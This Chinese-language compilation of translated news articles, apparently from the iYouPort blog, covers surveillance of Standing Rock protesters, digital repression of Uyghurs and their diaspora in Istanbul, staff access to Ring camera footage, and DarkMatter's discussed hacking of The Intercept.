例如，海关和边境巡逻队也经常使用红外热成像仪追踪移民，并在美/墨边境沿线进行逮捕。该巡逻队也参与了对 **Standing Rock** 反抗运动的监视和驱逐。

到目前为止，维稳部门使用空中红外监已经有十多年的时间了。最著名的行动包括，从2015年在巴尔的摩的弗雷迪·格雷（Freddie Gray）抗议期间、到2005年在纽约市举行的共和党全国代表大会，当时纽约警察局被指控侵犯公民隐私权。

Unicorn Riot 从100多个小时的FLIR监控视频中选取了两个小时的剪辑，您可以在下面观看：

⚠请注意：针对抗议活动的无人机使用并非只有监控一种，更有，携带武器的无人机镇压正在全球很多国家流行，在这里看到《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》。

但监视是一切镇压手段的基础 —— 只有在维稳部队深刻了解抗议者的行动模式后，才可以采取非常准确的打击。

所以，活动家一定要警惕这点，尤其是需要日夜驻守阵地的抗议者，就如本文中介绍的这样。〇

Infrared Aerial Surveillance Used at Standing Rock to Monitor and Track Protesters

原文

维族妇女对战中国的监视国家 [videos] - iyouport

中国-半壁高堡奇人为自由而战系列（完成）关于中国社会反抗者-寻求经验维稳面面观

【2019年10月24日存档】中国正在对穆斯林少数民族进行数字战争。新疆已成为令人窒息的信息真空。但在伊斯坦布尔的一个小社区，数字抵抗正在开始……

Photo: Associated Press

中国西北部的新疆正处于监视封锁状态。现在有一百万民族维吾尔人在集中营里。一举一动都在受到监视。

但在距离3000英里外的伊斯坦布尔，一个维吾尔族妇女社区正在通过智能手机进行反击。

住在信息真空之外

「图」

Nurjamal Atawula 记得她第一次拿到智能手机的样子。

那是2011年，她住在中国西北部的新疆绿洲小镇和田。

她喜欢为自己的孩子拍照，并在外出时与丈夫使用表情符号沟通。

2013年，Atawula 下载了中国社交消息应用程序微信。

不久之后，传闻在她的朋友网络中出现：政府可以通过手机跟踪你的位置。

起初，她不相信他们。

2016年初，警方开始对 Atawula 的家进行了例行检查。她的丈夫经

常被叫到警察局。

看见警察，Atawula 的孩子们开始害怕畏缩。

这家人决定搬到土耳其以逃避压迫性的监视。

Atawula 的丈夫决定在他住在新疆期间送她前往土耳其并等待孩子们的护照。

“我离开的那天，我的丈夫就被捕了，” Atawula 说。

当她于2016年6月抵达土耳其时，她的手机就罢工了 —— 等她修好手机时发现，所有的朋友和亲戚都将她的微信账号删除了。

她独自一人在伊斯坦布尔，她与新疆生活的数字联系已经结束。

除了在2016年12月底与她的母亲打了11分半钟的 Skype 电话之外，与所有亲戚的沟通已经完全切断。

“有时我觉得我与家人在一起的日子只是我的梦想，我一生中一直是孤独的 —— 从我出生以来就是这样，”她说。

30岁的 Atawula 现在独自生活在伊斯坦布尔的工人阶级社区 Zeytinburnu。

这里是土耳其最大的维吾尔族人口的家园，维吾尔族是新疆的穆斯林少数民族，是中国古代丝绸之路贸易路线上广阔、资源丰富的沙漠和山脉之地。

Atawula 是居住在土耳其的约34,000名维吾尔人之一。她无法联系任何亲戚 —— 不论是通过电话、微信、还是任何其他应用程序。

“当我看到其他人与家人进行视频聊天时，我感到非常难过，”她说，“我想，为什么我们甚至不能听到自己孩子的声音？”

对于新疆的维吾尔人来说，任何来自外国电话号码的联系，虽然没有规定非法，但是都会被视为可疑的极端主义行为，可能意味着即时逮捕。

居住在土耳其的大多数维吾尔族人已被家人在社交媒体上删除。

许多人不敢尝试联系，因为担心中国当局会惩罚他们的亲属。

这只是习近平政府对中国维吾尔人进行严密控制的监控方式之一，它对生活在世界各地的维吾尔人产生了连锁反应。

Aywula 居住的伊斯坦布尔郊区 Zeytinburnu 位于城市蜿蜒的高速公路后面，点缀着供应维吾尔美食的餐馆和咖啡馆：滑溜溜的面条、烤羊肉串和绿茶。

维吾尔分离主义旗帜—土耳其国旗的浅蓝色版本—在这里是常见的景象。这是被中国禁止的，代表东突厥斯坦。

新疆—中文意为“新边疆”—于1949年被中国共产党控制。*A demonstrator wearing a mask painted with the colors of the flag of East Turkestan and a hand bearing the colors of the Chinese flag attends a protest in front of the Chinese consulate in Istanbul, on July 5, 2018. (OZAN KOSE/AFP/Getty Images)*

在二十世纪下半叶，维吾尔独立是一个笼罩在中国党议程上的威胁。

政府试图通过鼓励中国占主导地位的汉族人群大规模迁移到新疆来消灭分裂主义并“同化”维吾尔人。

九十年代，维吾尔族和中国警方之间爆发了冲突。在3月份发表的一份白皮书中，中国政府将那场冲突定义为分裂主义团体实施的“不人道、反社会和野蛮行为”。

与此同时，国际特赦组织描述了1997年在新疆古尔亚（伊犁）举行的抗议活动，这是一次和平示威最终变成了大屠杀，引用的是流亡的维吾尔活动家 Rebiya Kadeer。

9/11之后，中国政府似乎通过模仿乔治布什的反恐战争来针对新疆的分裂主义团体。

2009年，新疆首都乌鲁木齐的维吾尔族和汉族之间爆发了血腥的民族冲突。它被称为“中国的9/11”。

警方将该市置于封锁状态，实施了互联网中断，并削减了手机服务。这是控制维吾尔族人口的新政策的开端 —— 数字化控制的开端。

近年来，中国通过智能手机对“伊斯兰极端主义”进行了打击。

2011年，中国IT巨头腾讯推出了一款名为 WeChat 的新应用程序 —— 在维吾尔语中被称为“Undidar”。它很快成为中国重要的沟通工

具。

微信的发起是“一个巨大的救济和自由的时刻”，维吾尔族学者 Aziz Isa 说，他曾在伦敦 SOAS 大学研究维吾尔人使用微信的情况。

“在维吾尔的生活中，我们从未有过以这种方式使用社交媒体的机会”，Isa 说，描述了维吾尔族人如何跨越阶级分歧公开讨论从政治到宗教到音乐的一切。

到2013年，大约有一百万维吾尔人正在使用该应用程序。Harris 和 Isa 观察到伊斯兰教内容的稳步上升，“其中大多数是非政治性的，但其中一些是公开激进的和政治反对的。”

Isa 记得他所看到了一些更民族主义的内容感到担忧，尽管他认为这样的内容占所有帖子的不到百分之一。他说，大多数维吾尔人当时“并不理解当局正在偷窥。”

这种在微信上不受限制的沟通仅仅持续了大约一年。

但是在2014年5月，中国政府邀请了一个工作组来消除即时通讯应用程序中的所谓“弊端”，特别是“导致暴力、恐怖主义和色情的谣言和信息”。

微信与其竞争对手的应用程序一起被要求允许政府监控其用户的活动。

Miyesser Mijit（化名）在2014年离开新疆，就在镇压之前。在中国大陆的本科学习期间，她和她的维吾尔族同学已经学会谨慎使用笔记本电脑和手机。

如果他们被发现在网上表达了宗教信仰，就会担心自己会被大学开除。

Mijit 的哥哥在21世纪后期被选入新疆警察局，他警告妹妹在使用数字技术时要注意自己的语言。

“他总是告诉我不要分享我的宗教信仰”，Mijit 说。她没有参加有关宗教的广泛的微信对话。

如果她的朋友发送了有关伊斯兰教的信息，她会立即将其删除，并在回到新疆大学之前将手机恢复出厂设置。

对维吾尔人的监控不仅限于他们的智能手机。 Mijit 记得**2013**年夏天她第一次见识到了面部识别技术。

她的哥哥带着一个比手机略大的装置从警察局回家。

他用那个设备扫了她的脸，并录入她的年龄范围大约在20到30之间。该设备迅速提取了有关她的所有信息，包括她的家庭住址。

她的哥哥警告她，这项技术将很快在新疆全面推出。“你的一生都将被记录，”他告诉她。

……

2014年5月，除了微信镇压外，中国当局还宣布了更广泛的“打击暴力恐怖主义的攻坚战”。

这是对维吾尔族武装分子几起引人注目的袭击事件的回应，其中包括2013年天安门广场发生的一起自杀式汽车袭击事件，2014年春天，昆明火车站的 砍伤事件，随后在乌鲁木齐发生的市场爆炸事件。

在乌鲁木齐的家经历了警察的每日检查后，Mijit 决定离开新疆前往土耳其。

当她在2015年回来度假时，她看到每隔几百英尺就有一个面部识别装置 —— 就像她哥哥当时拿回来的那个装置。当她到达城门时，她的脸被扫描了一下。

“我下了公共汽车，每个人都被逐一检查，”她说。每次进入超市，商场或医院时，她都会被扫描。

38岁的 Amina Abduwayit 是来自乌鲁木齐、现居住 Zeytinburnu 的女商人，她记得自己的脸被扫描并输入警方数据库的场面。

- 《一臂之厉：美国企业正在帮助建立中国的奥威尔国家》
- 《你曾经在社交网络上发布过自己的照片？你危险了》

“那就像一场猴子表演，”她说，“他们会要求你盯着这个和那个；他们会要求你笑，然后你就要笑，他们要求你瞪眼，然后你就必须瞪眼”。

Abduwayit 还被要求向警方提供 **DNA** 和血液样本。这是中国政府为建立新疆维吾尔族人口生物识别数据而进行的一项更大规模的全面运

动的一部分，

最后，Abduwayit 被要求向警方提供声音样本。“他们给了我一份报纸，要我大声朗读了一分钟。那是一个关于交通事故的故事，我不得不三次朗读。因为他们以为我的声音低沉”。

中国人工智能巨头 **iFlytek** 占据了中国语音识别行业**70**%的份额，并率先在新疆开展了语音识别软件的开发。

- 《提醒注意大规模监视新途径：国际刑警组织使用 192 个执法机构的样本推出*国际语音识别数据库*》
- 《匿名终结者：为什么说声音识别是所有隐私入侵手段中最为可怕的一种？》
- 《强行收集声纹》
- 《你上传的任何照片、视频和音频都在被用来训练AI，再反过来监视你》

2017年8月，人权观察发现 iFlytek 向新疆警察局提供声纹技术的信息。

iFlytek 于**2017**年在硅谷开设办事处，并在“在公安部的指导下”开展工作，以提供“公共安全和取证鉴定的新体验”，这是根据其网站的中文版本介绍。

人权观察还认为，该公司一直在与中国公安部合作试行一个监控电话交谈的系统。

“包括习近平在内的许多党和国家领导人都对公司的创新工作进行了检查和评价，”iFlytek 的网站上写道。

住在芬兰的维吾尔活动家 Halmurat Harri 于2016年访问了吐鲁番市，并对近乎不断的警察检查的心理影响感到震惊。

“你无法呼吸。每次呼吸，你都要小心”。他记得和一个朋友一起开车去沙漠，他告诉他他想看日落。

他们将手机锁在车内，然后走远。“我的朋友说，告诉我外面发生了什么。外国是否知道维吾尔人正在遭受的压迫？…… 我们谈了几个小时。他想整夜待在那里。”

为了将新疆变成世界上监管最严格的监视国家之一，必须建立一个庞大的网格式监控网络。

根据中国安全和监控专家 Adrian Zenz 和 James Leibold 的说法，到2016年，乌鲁木齐市将安装超过160,000台摄像机。

在陈全国2016年被任命为党委书记后的一年里，有超过10万个与维稳有关的职位被宣传，而维稳支出则增长了92%，达到惊人的86亿美元。

这只是整个中国巨大的国内安全投资的一个更广泛的故事的一部分，2017年就达到了创纪录的1970亿美元。

目前约有1.73亿台摄像机正在监视中国公民。在不久的将来，政府已制定计划，实现“关键公共区域”100%的视频监控覆盖。

对于维吾尔人来说，“新疆的就业形势既困难又有限，”Zenz 说。许多好工作都需要流利的中文 —— 许多维吾尔人都没有。

加入警察部队是向维吾尔人提供的绝少的可行机会之一，工作任务是监视自己的同胞。*“They’d speak in code—if someone was jailed in the camps, they would say they’d been “admitted to hospital.”*

中国数字古拉格的增长

「图」

2018年8月，一个联合国人权小组表示，相信有100万维吾尔人被关押在一个“保密的大规模拘禁营”中。

起初，中国完全否认了拘留营的存在。但随后，在2018年10月，政府宣布启动了“职业教育和培训计划”，并通过了一项法律，将他们所谓的“培训中心”合法化。

在2018年9月的一份报告中，人权观察发现新疆的侵犯人权行为具有文化大革命以来未见的范围和规模，营地的建立反映了北京要“以自己的形象改造新疆”的承诺。

54岁的 Gulbahar Jalilova 是来自哈萨克斯坦的维吾尔族服装零售商，在乌鲁木齐的拘留营度过了一年零三个月。她现在住在伊斯坦布尔。

根据乌鲁木齐市公安局在中国发出的逮捕令，她因涉嫌参与该地区的恐怖活动而被拘留。

警察指控她通过她在乌鲁木齐的一名雇员洗钱，后者也被捕了。

Jalilova 被带到了新疆首都众多临时拘留中心之一的 kanshousuo。在接下来的15个月里，她被转移到乌鲁木齐的三个不同的监狱和营地。

她对拘留期间的生活印象深刻：一个10×20英尺的牢房，最多的时候容纳50人紧紧地坐在一起，完全伸不开腿。

自2018年8月获释以来，Jalilova 一直在努力回忆，她用笔记本记录了与她一起被记录在案的所有女性的名字。

她还记录了被捕的原因，其中包括下载 **WhatsApp** —— 一个在中国被封锁的应用程序 —— 存储了多位著名维吾尔族学者的作品，并在手机上被查到存在宗教内容。

她记得牢房里四面都是摄像头，电视安装在门上方。“北京的领导人可以看见你，”警卫告诉她。

每月一次，Jalilova 描述卫兵如何将习近平的讲话发给囚犯，让他们写下检讨书。

“如果你写了一些不好的东西，他们就会惩罚你，”Jalilova 说，“你只能写’感谢党，我已经清除了这个或那个’，’一旦我被释放，我一定洗心革面重新做人……”。

她于2018年8月获释并来到土耳其，在哈萨克斯坦不再安全，政府会将维吾尔人驱逐回新疆。

恢复力和决心

「图」

虽然没有关于拘留营的官方统计数据，但志愿者组织的新疆受害者数据库已经为他们失踪的亲属整理了3000多名维吾尔族、哈萨克族和其他穆斯林少数民族的证词。记录显示，约有73%的被拘留者是男性。

因此，近年来逃离新疆到土耳其的大多数人是女性。当地活动人士估计，土耳其65%的维吾尔族人口是女性，许多人与丈夫分开。

在 Zeytinburnu，他们住在一个共享公寓网络中，通过在当地纺织业无证工作，赚取生活费。

没有丈夫的妇女们在其他维吾尔人中被称为“寡妇”。他们的丈夫被困在新疆，她们不知道丈夫是活着、被监禁了还是已经死了。

35岁的 Kalbinur Tursun 于2016年4月带着她的小儿子穆罕默德离开新疆，这是她当时唯一一个拿到了护照的孩子。她把她的其他孩子和丈夫留在了新疆。

她怀上了第七个孩子，一个名叫 Marziya 的女儿，她担心她会被迫中止妊娠，因为她已经生育了比中国限制性计划生育政策标准更多的孩子。

当 Tursun 第一次到达土耳其时，她每天都使用 WeChat 和她的丈夫视频通话。 Tursun 相信中国警察于2016年6月13日逮捕了她丈夫——因为这是她最后一次与他交谈。

然后，一位朋友告诉她，由于她决定离开中国，她的丈夫被判入狱十年。“我很害怕我的孩子们恨我，”她说。

土耳其被视为是比其他穆斯林占多数的国家更安全的地方，包括巴基斯坦和沙特阿拉伯，其领导人最近都驳回了维吾尔人的避难申请。

自20世纪50年代以来，维吾尔人一直从中国流入土耳其。他们没有获得工作许可证，许多人希望自己最终能够在欧洲或美国找到避难所。

土耳其传统上一直担任维吾尔人的保护者，他们认为维吾尔族是突厥族，近年来，但是，由于与中国的贸易关系有所改善，总统雷杰普·塔伊普·埃尔多安一直不愿为维吾尔人说话。

在2019年2月9日，土耳其外交部发言人哈密·阿克索（Hami Aksoy）打破了外交沉默。

“这不再是一个秘密，超过一百万维吾尔族人遭到任意逮捕，在拘留营和监狱遭受酷刑和政治洗脑，”Aksoy 的声明中写道。

两天后，中国外交部发言人华春英拒绝了这些说法，称这一说法是“基于谎言的毫无根据的指控”。

她强调了中国和海外“三股邪恶力量”—恐怖主义、极端主义和分裂主义—的威胁。

华说，由于中国在该地区的政策，新疆居民“现在有了更强的安全感、幸福感和满足感……当地人脸上的笑容是对这些谣言最有说服力

的回应。”

华还强调了土耳其作为一个多民族国家所面临的恐怖主义威胁。“如果它在反恐方面采取双重标准，它最终只能伤害自己和其他人，”她说。

来自乌鲁木齐的女商人 Amina Abduwayit 在2015年抵达土耳其时害怕自由发言。

“即使我离中国很远，我依然生活在被他们监视的恐惧之中，”她说。虽然她现在感觉不那么害怕了，但她还没有在逃离后一年半的时间里打开过微信。

其他人试图使用微信与他们的家人联系，但信息的传输变得越来越慢。

2016年，多伦多大学公民实验室的研究结果显示，该应用程序是如何通过跟踪关键字使用来审查其用户的。

可以标记帐户的关键词包括与维吾尔族问题相关的任何词语，如“2009年乌鲁木齐骚乱”，“2012年喀什骚乱”，以及与伊斯兰教有关的任何事。

在 Zeytinburnu，42岁的女裁缝 Tursungul Yusuf 记得，随着2017年的发展，新疆亲戚的电话和短信变得越来越简洁。“我们会尽可能简短的发言”。

他们会使用密语发言 —— 比如如果有人被监禁在集中营，他们就会说他“被送进了医院。”

- 《如何效用隐写术交流敏感信息》

我们无法畅所欲言。我的大女儿在她的微信简介上写下了“我很无助”。然后，在删除我之前，她给我发了一条消息：“Assalam”。

另一种微信代码是通过表情符号开发出来的：凋谢的玫瑰意味着有人被捕。一个黑暗的月亮意味着进了集中营。一个太阳表情符号意味着“我还活着”。一朵花意味着“我被释放了。”

总部位于华盛顿特区的维吾尔活动家 Aydin Anwar 回忆说，维吾尔族人曾经在社交媒体上写 “inshallah”，而他们现在写“CPC”。

在少数情况下，她能够与亲戚说话，她说“听起来好像他们的灵魂已经从他们身上取出去了。”

到2017年底，土耳其的大多数维吾尔族人已经完全失去了与家人的联系。

在 Zeytinburnu 的公寓里，维吾尔族活动家和诗人 Abduweli Ayup 正在与 Amina Abduwayit 协作，这名女商人在警察拿走她的 DNA 后逃离了新疆。

他们正在拍摄他们计划上传到 Facebook 的视频。Abduweli 使用智能手机拍摄她，而她坐在一张桌子旁，讲述她的家乡乌鲁木齐是一个“数字监狱”。

Abduwayit 描述了那里的人们如何害怕在清晨打灯，因为担心警察会认为他们在祈祷。

然后，她列出了她认为已被转移到拘留中心的所有家庭成员。

Abuwayit 只是在土耳其数百名维吾尔族人中的一员 —— 全世界有数千人 —— 他们决定将他们的故事上传到互联网。

自去年这个时候以来，发生了一场数字革命。总部位于芬兰的维吾尔活动家 Halmurat Harri 相信自己是第一个拍摄证言的人。

去年四月他在 Helsinki 住所的卫生间里拍摄的一部手机视频中说：“我希望我的父母有自由，作为维吾尔人的自由”。“然后我给人们打电话，要求他们制作自己的见证视频”。

来自维吾尔人的厨房、起居室和卧室的智能手机拍摄的视频开始陆续出现在 YouTube、Facebook 和 Twitter 上。

Ayup 描述说，开始的时候人们会“掩饰自己的脸，害怕自己的声音被认出来”，但是随着2018年噩梦的进展，人们变得更加勇敢了。

Gene Bunin 是一名驻中亚的学者，负责管理新疆受害者数据库，并编制了数千份来自维吾尔族、哈萨克族、吉尔吉斯斯坦和其他穆斯林少数民族的证词。

“有证据表明，政府愿意为那些亲属提供录像证词的人做出让步，”Bunin 说。

他被告知，在他们的亲属在网上发布证词后24小时内，被关押的人就被释放了。“这是新疆当局对这些视频做出反应的强烈迹象，”他说。

中国最近加强了对新疆实践的辩护，似乎是为了回应西方的关注。

3月，路透社报道中国将邀请欧洲外交官访问该地区。此前，新疆省长 Shohrat Zakir 发表声明称那个集中营是“寄宿学校”。

今年春天，Harri 开始制作 #MeTooUyghur 的标签，鼓励世界各地的维吾尔人要求证明他们的家人还活着。

来自国际维吾尔族侨民的大型 WhatsApp 新闻组也是社区团结的重要来源。

2018年12月24日，Kalbinur Tursun 坐在她在 Zeytinburnu 管理的女装店，滚动着一个维吾尔 WhatsApp 群组。她是一位母亲，她的5个孩子被留在了新疆。

她从早到晚不断查看这个 WhatsApp 群组。因为几百名维吾尔族成员发布了近乎不间断的视频和有关新疆危机的最新消息。

她看到了一个孩子们做游戏的视频，Tursun 很惊讶。在图像左侧，她认出了自己六岁的女儿 Aisha。

“这就像一个奇迹”，她说，“我只会在梦中看到我的孩子，我从没想过会在现实生活中看到她。”自从她上次听到女儿的声音已经过去两年了。

该视频似乎来自和田省所谓的“小天使学校”之一，距离 Tursun 居住的喀什大约300英里，据报道有近3000名维吾尔族儿童在这里被关押。

Tursun 想知道她的另外四个孩子是否可能被带到了更远的地方。该省共产党官员在接受自由亚洲电台采访时表示，孤儿院由警方巡逻，以“提供安全保障”。

与全球维吾尔族侨民中的几乎所有人都不同，Nurjamal Atawula 在微信联系方式中断后设法找到了与家人联系的方法。她使用了最古老的方法之一：写信。

2016年底，她听说 Zeytinburnu 的一位女士经常往返于土耳其和她留在新疆的父母居住的村子。她让那个女人给她的家人带一封信。女人

同意了。

“当我写这封信时，我觉得自己生活在黑暗时代，” Atawula 说。她把信给了那个女人，同时还有她给孩子的小礼物和她为家人攒的钱。

一个月后，她收到了答复。这位维吾尔族妇女，她称之为“姐姐”，将她哥哥的一封信偷偷带出了中国，藏在一包纸巾里。

但是在第三次旅行捎信之后，那个女人就消失了。

Atawula 不知道发生了什么事。她仍然继续写信给她的家人，但她的信件现在被保存在日记中，希望有一天她的孩子能够读这些信。

自 Atawula 收到她哥哥的回信以来已经过去两年多了。她把那封信小心翼翼地折叠起来，仍然放在那堆纸巾里。在那段时间里，她只读过三次，好像读多了就会让那封信失去力量一样。

我漂亮的妹妹：

你好吗？你离开乌鲁木齐后我们无法联系你，当我们收到你的来信时，我们非常高兴。我有一肚子的话……也许在我们团聚之后，我们可以互相说出来。你说你想念孩子们。愿真主给你耐心。妈妈、我和亲戚们都非常想念你。我们对你有非常多的希望。请坚强，不要担心孩子。

○□

The Uyghur women fighting China’s surveillance state

原文

美国的斯塔西在乌克兰 - iYouPort

你应该了解的现实你的反乌托邦在线生活阴云密布维稳面面观

所谓的”智能家居”复活了纳粹的斯塔西，这次可不是当年德国那种免费老大哥了，如今它还要你主动掏钱”请”进自己最私密的空间。 你的性生活正在被一群人围观。 想听听围观者怎么说吗？

所谓的“智能家居”复活了纳粹的斯塔西，这次可不是当年德国那种免费老大哥了，如今它还要你主动掏钱“请”进自己最私密的空间。我们一直在被警告这场危机，被告知小心算法泡沫和互联网连接的传感器不断地监视我们。但对于那些使用亚马逊的 Ring 监视摄像头的人来说，它可没那么简单。

Ring 决定谁可以访问属于任何人的最珍贵、最私密的数据。该公司已推出其微型摄像机系列，设计用于安装在门铃、车库和书架上的不同款式，不仅可以作为在您离开时密切关注您家的方式，而且，创建了一种私有化的监视世界……

熟悉该公司实践的人士告诉 The Intercept，从2016年开始，Ring 为其位于乌克兰的研发团队提供了几乎无拘无束的访问亚马逊 **S3** 云存储服务的权力，该服务包含全球所有 **Ring** 摄像机创建的每一个视频。

这相当于一个巨大的高度敏感文件列表，可以让间谍机构轻松浏览和查看。下载和共享这些监视视频文件只需要点击一下就可以了。这些做法曾经被报道过，数字媒体公司 The Information 积极报道了 Ring 的安全漏洞。

请注意，消息人士表示，在提供这种无限制访问的权力时，视频文件完全没有加密，因为 Ring 领导层认为：“加密会使公司失去利益”，由于实施加密的费用和由于访问受限造成的收入损失。乌克兰团队还提供了匹配数据库，将每个特定的视频文件对应到相应的特定 Ring 客户。

同时，消息人士称，**Ring** 不必要地为美国的高管和工程师提供了对这些监视视频的高级别访问权限，允许他们随意查看来自客户摄像头的未经过滤的全天候直播，无论他们是否需要访问这些极其敏感的数据来完成他们的工作。

对于那些获得此顶级访问权限的人来说—与优步的臭名昭著的“上帝视角”地图相比，该地图显示了所有乘客的行动—只需要一个 Ring 客户的电子邮件地址就可以观看该人家中的摄像头。

消息人士告诉 The Intercept，“如果[某人]知道记者或竞争对手的电子邮件地址，他们就可以查看目标人的所有相机。”

该消息来源还叙述了 Ring 的工程师在浪漫约会后“互相戏弄他们带回家的人”的情况—— 一夜情也被偷窥了。虽然这些工程师知道他们的同事正在实时地监视自己，但消息来源质疑他们的伴侣是否也得到了类似的通知。

Ring 决定授予其乌克兰团队这一权限的部分原因是其内部面部识别和物体识别软件的弱点。该公司的分布式住宅监控平台的名称就叫“邻居”，现在是 Ring 的相机的一个特色功能，被称为“主动”的邻里监视。

这种实时的监视需要的不仅仅是原始视频—它需要能够足够快速、大规模地理解这些家庭监视视频流中实际发生的事。挠门的是狗还是你丈夫？那是一个窃贼还是一棵树？ Ring 的软件多年来一直在努力解决这些对象识别的基础性问题。根据最新的报告，“当用户门前没有任何值得注意的事发生时，也会接到警报，因为该系统检测到的只是在街上行驶的汽车或从前院的树上落下的叶子。“

近年来，计算机视觉取得了令人瞩目的进步，但创建可以从头开始分类监视对象的软件通常既昂贵又耗时。为了启动这个过程，Ring 使用其乌克兰“数据运营商”作为其无助的人工智能工作的拐杖，手动标记给定视频中的对象，作为训练软件整体过程的一部分，希望它也许能够在不久的将来自己发现并理解监视器中的画面。

多年后，这个过程显然仍在进行中。

来自内部 Ring 文档以前所未有的图像揭开了该公司崇高的老大哥野心的面纱。第二个消息来源直接了解 Ring 的视频标记工作，信息源表示：该视频标记团队不仅可以观看室外和门铃相机的监视视频，甚至还可以观看人们家庭内部的镜头！消息人士说，Ring 员工有时会互

相展示他们正在看的视频，并描述了他们目睹到的一些事，包括接吻、射击和偷窃的人。

Ring 对其“Neighbors”系统的概述中完全没有提及图像或面部识别，也没有警告使用该功能的人正在被乌克兰研发实验室围观他们的私生活。

Ring 的服务条款及其隐私政策均未提及人类正在进行的手动视频监视（标注），也未提及 Ring 员工对这些监视视频的全自由访问权限。你还应该继续信任它吗？答案很显然。

FOR OWNERS OF AMAZON’S RING SECURITY CAMERAS, STRANGERS MAY HAVE BEEN WATCHING TOO “If [someone] knew a reporter or competitor’s email address, [they] could view all their cameras.”

原文

美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept - iyouport

Hackingteam地缘政治政府的间谍行为维稳面面观透明度革命

【2019年10月23日存档】不仅仅是 TheIntercept，他们攻击“全球范围内间谍机构需要的”任何组织和个人。尤其是媒体和记者、异议人士和活动家。

⚠这篇报道提醒注意的是这些骇客采取的方式：鱼叉、恶意女仆、Wi-Fi、甚至直接从运营商（源头）下手。如果您是记者、人权维护者和活动家，应该特别注意本文中显示的细节。

一家为阿联酋政府工作的有争议的骇客公司讨论了针对美国媒体 TheIntercept 的攻击、破坏员工计算机的计划，其中还包括臭名昭著的 hacking team 的一名前成员，消息人士表示他们出席了制定攻击计划的会议。

注：TheIntercept 是专门为刊发斯诺登文件而成立的媒体组织（因当时很多主流媒体自我审查、担心惹恼权势，而拒绝刊发文件）；hacking team 是名声最臭的骇客组织之一，有专门的栏目介绍它，在这里看到。

- 附 斯诺登文档汇总编译中文版《互联网霸主的时间线—— 他们将互联网视为间谍、破坏和战争的主场》

这家阿联酋骇客公司就是网络战雇佣兵团体 DarkMatter。在这里看到《网络战雇佣兵团体不应该在您的浏览器或其他任何地方受信任》；《一场令人不寒而栗的网络战》；《一个新的战争时代：互联网雇佣军如何为威权政府而战》。

DarkMatter 将前美国国家安全局黑客和其他美国情报人员和退伍军人、与阿联酋分析人员一起，专门攻击国内外政治异议人士的电子设备，其中攻击目标还包括美国公民。

代号为 Project Raven 的攻击行动始于巴尔的摩，也就是美国国安局的后院 —— 该项行动专注于攻击持不同政见者和批评阿联酋政府的任何人。

2016 年 Intercept 的文章透露，总部位于马里兰州的技术公司 CyberPoint 组建了一支美国人的团队，以达成一项合同，目标是磨练阿联酋最新崭露头角的骇客攻击和监视能力，让一些新兵感觉不安。

就是这个 **CyberPoint** 团队，其中很多人后来被 **DarkMatter** 挖走了。DarkMatter 是一家与阿联酋政府关系密切的公司，国家电子安全局 **NESA**，总部只有两层楼，该部门的地位相当于美国国家安全局（前身国家电子安全局，后来成为信号情报局）。

McLaughlin 的一位消息人士称这一事件是阿联酋政府的“恶意收购”。

McLaughlin 随后为“外交政策”杂志撰写的文章详细介绍了 DarkMatter 的美国间谍在构建阿联酋情报机构方面的重要性。

NESA 将继续成为 Project Raven 的主要“客户”，负责传递团队和组织的目标和攻击计划。

2016 年的报告揭示了 DarkMatter 与阿联酋政府之间的联系，目标是美国媒体 Intercept。

“当[McLaughlin 的第一篇]文章出现时，其中提到了 DarkMatter，所以我们不得不对老虎团做出回应”，该消息来源说，使用的是响应团队的行话，“任何时候 NESA 或 DarkMatter 想要攻击任何媒体，我们都会被引入以开发攻击目标列表。”

阿联酋领事馆没有回复评论请求。

熟悉此事的第二个人证实了针对 TheIntercept 的攻击讨论，并称参与会谈的人中包括最大牌的美国籍 **DarkMatter** 执行官马克·拜尔（**Marc Baier**）。这个人没有说明讨论是否导致了决定。

第二个消息来源指出，DarkMatter 首席财务官 Samer Khalife 将一些美国人目标从 DarkMatter 转移到一家新公司 Connection Systems。

而后者这家新公司成立的目的是创造出 “DarkMatter 不再代表阿联酋政府进行监视和网络操作”的假象 —— 但 Khalife 把他的兄弟安插在新公司里作为该公司的名义老板。

LinkedIn 显示，**Connection Systems** 目前雇佣了多名前 **DarkMatter** 员工。

Khalife 和 Baier 都没有回复评论请求。

目前尚不清楚是否曾对“TheIntercept”进行过攻击。

但是，攻击定位于 2016 年发生，因此如果有恶意邮件存在的话可能被垃圾邮件过滤器阻挡或被丢弃了。

第三个熟悉 Project Raven 的人说，他们不知道有任何针对 Intercept 或其员工的企图，而且在没有吸引美国同行的注意力的情况下 DarkMatter 的常驻 NESA 黑客不太可能尝试这种协调攻击。

不过，该消息来源指出，阿联酋国民对美国出版物进行秘密攻击在技术上是可行的。

Intercept 联系的其他前 Project Raven 成员拒绝发表评论，一些人引用了联邦调查局的调查。联邦调查局也拒绝发表评论。

DarkMatter 营销主管 Priscilla Dunn 在给 The Intercept 的电子邮件中否认报道。但他没有明确否认那次讨论的发生，并拒绝评论 Project Raven 的存在或该公司与 NESA 的合作，他的回复的东西基本是广告台词，就不翻译了。*Aldar HQ office building where DarkMatter has their headquarters. Photo illustration: Soohee Cho/The Intercept, Getty Images*

计划和执行

消息人士说，该讨论在 Project Raven 阿布扎比总部的一个会议室里进行，当时他们在场。

房间的其他人包括两名 NESA 分析师 Al Anood Al Kaabi 和 Fatema Mohammed Al Shehhi、还有该团队的美国运营总监 Ryan Adams，此人是美国空军退伍军人。此人也没有回复评论请求。

根据消息来源和 Cole 的说法，⚠各个 Project Raven 分析师针对新闻文章制定的攻击目标列表不仅包括文章作者，还包括与该作者有关的其他人，包括可能贡献信息的任何人、编辑，甚至分享文章的人。

消息来源还说，有时不仅扫描一篇文章的作者，还有“该作者的男朋友、女朋友、或兄弟……从原始目标中延伸出两到三个选项。

编制实际目标列表将取决于各个 Project Raven 分析师。

在设定攻击目标列表之后，下一步就是涉及由 **NESA** 分析师执行的文本、社交媒体、和电子邮件的鱼叉式网络钓鱼攻击，被称为 “试图平息问题或重新牵引公众注意力”以远离负面文章。

网络钓鱼邮件旨在诱骗收件人采取某些行动，而在 DarkMatter 的案例中，通常涉及尝试让攻击目标以 PDF、RTF、和 Microsoft Word 等常见格式打开恶意文档。

和所有钓鱼攻击一样，此类攻击是在事先侦察了目标对象的数字弱点后针对性进行的。

“包括目标的技术足迹、任何社交媒体账户、任何偏好、移动设备、电子邮件、社交媒体ID等等，就是重要的东西”，消息来源说。

- 这就是为什么保护性措施的第一步应该是《大清洗》在这里看到具体步骤

